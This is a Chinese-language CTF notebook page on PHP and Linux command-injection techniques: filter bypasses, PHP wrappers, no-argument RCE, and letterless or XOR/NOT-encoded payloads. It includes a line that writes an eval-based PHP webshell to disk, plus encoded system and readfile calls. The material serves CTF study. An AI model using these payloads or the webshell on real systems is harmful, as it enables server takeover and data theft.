rce
od读取文件
od命令
在Linux中,od命令用于以不同的格式显示文件的内容,它可以将文件内容以八进制、十六进制或其他格式进行显示。这个命令对于查看二进制文件或以非文本形式存储数据的文件很有用。
od命令的基本语法如下:
od [选项] [文件名]
以下是一些常用的选项:
-A:指定显示格式,可以使用的值有d(十进制,默认)、o(八进制)、x(十六进制)等。 |
[广东强网杯 2021]love_pokemon
escapeshellarg()
这个函数在处理超过ASCII码范围的字符的时候会直接过滤掉该字符串,因此直接提交lv%FF100
即可
myfavorite=mewtwo&dream=od%09-c%09/F[D-Z][@-Z]G
[D-Z][@-Z]
是正则
最后读出来的数据用cyberchef
解密
[NSSRound#13 Basic]ez_factors
前置知识:factor
命令用于分解因数。factor
是Ubuntu
自带的分解质因数的指令
od -t d1 -A n flag
读取flag
文件的内容,并以十进制整数的形式显示每个字节,而不显示每个字节的地址
exec
无回显 echo “Hello, World!” | tee output.txt
l’s | tee output.txt
eval执行
!!!!!!结尾要带分号!!!!!! |
文件包含
#函数查找字符串在另一字符串中第一次出现的位置(区分大小写) |
file_get_contents 在向目标请求时先会判断使用的协议。如果协议无法识别,就会认为它是个目录
- php://input#从输入中读取
eg: <?php system("ls");?>
- php://filter
php://filter/read=filter_name/resource=resource_url
filter_name:要应用的过滤器名称
resource_url:要读取的资源的URL
eg:file=php://filter/read=convert.base64-encode/resource=/flag
- data://text/plain;base64,
file_get_contents()的$filename参数不仅仅为本地文件路径,还可以是一个网络路径URL
eg:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
file | base64也可以写成base64 file |
- %0a:表示换行符(newline),用于在字符串或文本中表示一个新行的开始。在ASCII编码中,它对应于十进制值10。
- %0d:表示回车符(carriage return),用于将光标移动到当前行的开始。在ASCII编码中,它对应于十进制值13。在某些环境中,回车符和换行符一起用于表示新行(例如,Windows中的\r\n)。
- ;:分号在许多编程语言中用于分隔语句。在命令行环境中,如Unix和Linux Shell,分号用于在同一行上执行多个命令,命令会按顺序执行,不考虑前一个命令的执行结果。
- &:在命令行环境中,&符号通常用于将命令放入后台运行,允许用户在命令执行时继续使用命令行。在某些编程语言中,&还可以表示按位与(bitwise AND)操作。
- |:管道符,用于在命令行环境中将一个命令的输出作为另一个命令的输入。这使得用户可以将多个操作链接在一起,从而创建复杂的数据处理管道。
- &&:在命令行环境中,&&用于将多个命令链接在一起,使得只有在前一个命令成功执行(返回值为0)时,才会执行下一个命令。在某些编程语言中,&&表示逻辑与(logical AND)操作。
- ||:在命令行环境中,||用于将多个命令链接在一起,使得只有在前一个命令失败执行(返回值非0)时,才会执行下一个命令。在某些编程语言中,||表示逻辑或(logical OR)操作。
过滤小结:
- 过滤cat:
ca/t ca""t ca''t |
- 过滤空格:
<,<>,${IFS}
- 过滤运算分隔符号:
;->%0a
file | base64-> base64 file
/->cd${IFS}
无字母自增构造paylaod
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]); |
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))) |
%24_%3d%5b%5d%3b%24_%3d%40%22%24_%22%3b%24_%3d%24_%5b'!'%3d%3d'%40'%5d%3b%24___%3d%24_%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24____%3d'_'%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24_%3d%24%24____%3b%24___(%24_%5b_%5d)%3b |
_=file_put_contents("getflag.php","<?php eval(\$_POST['shell']);?>");
无参rce
';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)
需要时查阅here
主要 |
getallheaders()
当PHP是执行在Apache模组时,getallheaders( )才有效
system(current(getallheaders()));
获取当前请求中的第一个 HTTP 头的值,然后将这个值作为命令在服务器上执行。
get_defined_vars ()
nginx和apache通用get_defined_vars ()
简单解释一下,get_defined_vars()
:返回由所有已定义变量所组成的数组.下面这个payload会在[_GET]=>Array
下产生a
,b
于是便返回[_GET]
的最后一个元素
a=eval(end(current(get_defined_vars())));&b=phpinfo();
sessionid
|
一些利用方式
获得当前目录文件
var_dump(scandir(getcwd())); |
获得上级目录文件
var_dump(scandir(dirname(getcwd()))); |
找到flag文件后的读取
如果flag是最后一个:end()
flag处于倒数第二个:next(array_reverse())
flag处于其他位置(这种靠运气):array_rand(array_flip())
附上三角函数的脚本,可以自己改一改,或者增加点函数
|
最后用读文件的函数读就可以了,什file_get_contents,readfile,highlight_file等等
这是?
?code=[~%8c%86%8c%8b%9a%92][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]()));
[~%8c%86%8c%8b%9a%92]->system |
一些数学函数绕过rce
#base_convert(37907361743,10,36) => "hex2bin" |
绕过字符串长度
?get=eval($_GET['A']);&A=system('cat /flag'); |
本地文件包含的利用
?get=$_GET[a](N,a,8);&a=file_put_contents
file_put_contents的第一个参数是文件名,我传入N。PHP会认为N是一个常量,但我之前并没有定义这个常量,于是PHP就会把它转换成字符串’N’;第二个参数是要写入的数据,a也被转换成字符串’a’;第三个参数是flag,当flag=8的时候内容会追加在文件末尾,而不是覆盖。
除了file_put_contents,error_log函数效果也类似。
每次向文件’N’中写入一个字母或数字,最后构成一个base64字符串,再包含的时候使用php://filter对base64进行解码即可.
以下是未实现
# 每次写入一个字符:PD9waHAgZXZhbCgkX1BPU1RbOV0pOw |
深浅copy
在php中如果我们使用 & 对变量A的值指向变量B,这个时候是属于浅拷贝,当变量B改变时,变量A也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤。
$A = &$B;
极限rce
反引号
code=echo `$_POST[1]`;&1=cat /f*
file=| `echo bHMgLw== | base64 -d` > cd8494ce544176f7809fdd46d67d2009.png
自增
|
payload |
限制字符
|
payload |
限制字符2
|
payload |
限制字符3
gettext
拓展_()
,相当于gettext()
|
payload1 |
challenge
|
最后贴个链接
pyrce
核心代码
def waf(rce): |
- 空格用tab绕过
/
通过pwd
得到
这道题不回显 那么一种是反弹shell,一种是覆盖目标文件,采取覆盖目标文件的方法,然后访问 /resource路由,读取app.py的内容即flag的内容
cp%09$(cd%09..&&cd%09..&&cd%09..&&cd%09..&&cd%09..&&cd%09..&&cd%09..&&cd%09..&&echo%09$(pwd)flag)%09app.py
一些小技巧
>a 在Linux会创建一个叫a的文件 |
异或取反%ff
异或%ff和~
是一个效果的
对于count_chars
可以通过这个脚本替换
str = 'acdips' |
- 异或操作的性质:任何数字与
0xff
异或都会得到其按位取反的结果。而一个数字与自己异或的结果是0
。 - 使用
%FF
替代:在您不想改变原始字符串中某个位置的字符时,您可以使用%FF
来进行异或操作。因为一个字符与0xff
异或两次(即按位取反两次)会得到原始字符。 - 使用三个数字替代:当您想替换原始字符串中的某个字符时,您可以使用三个字符的异或组合来代替它。例如,为了替换
n
,您使用了c^d^i
。为了保持其他字符不变,您需要对这三个字符进行按位取反操作。
所以,在不需要改变的位置使用%FF
,在需要替换的位置使用三个字符的异或组合。这样,当所有这些异或操作组合在一起时,您会得到一个新的字符串,其中只有您想要替换的字符被替换,其他字符保持不变
按照这个思路
-
print_r(scandir(.)):
((%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));
-
readfile(end(scandir(.))):
((%8D%9A%9E%9B%99%96%93%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%9A%9E%9B)^(%FF%99%FF)^(%FF%96%FF)^(%FF%FF%FF))(((%8D%9E%9E%9E%9B%96%8D)^(%9A%9B%FF%99%FF%FF%FF)^(%9B%99%FF%96%FF%FF%FF)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));
nginx fastcgi临时文件
Nginx 在后端 fastcgi 响应过大或请求正文 body 过大时会产生临时文件
- 请求一个过大的body,会在/proc/self/fd目录下生成临时文件
- 传一个填满大量脏数据的so文件
- 竞争LD_PRELOAD包含 proc 目录下的临时文件
我复现失败了,不知道是不是我姿势不对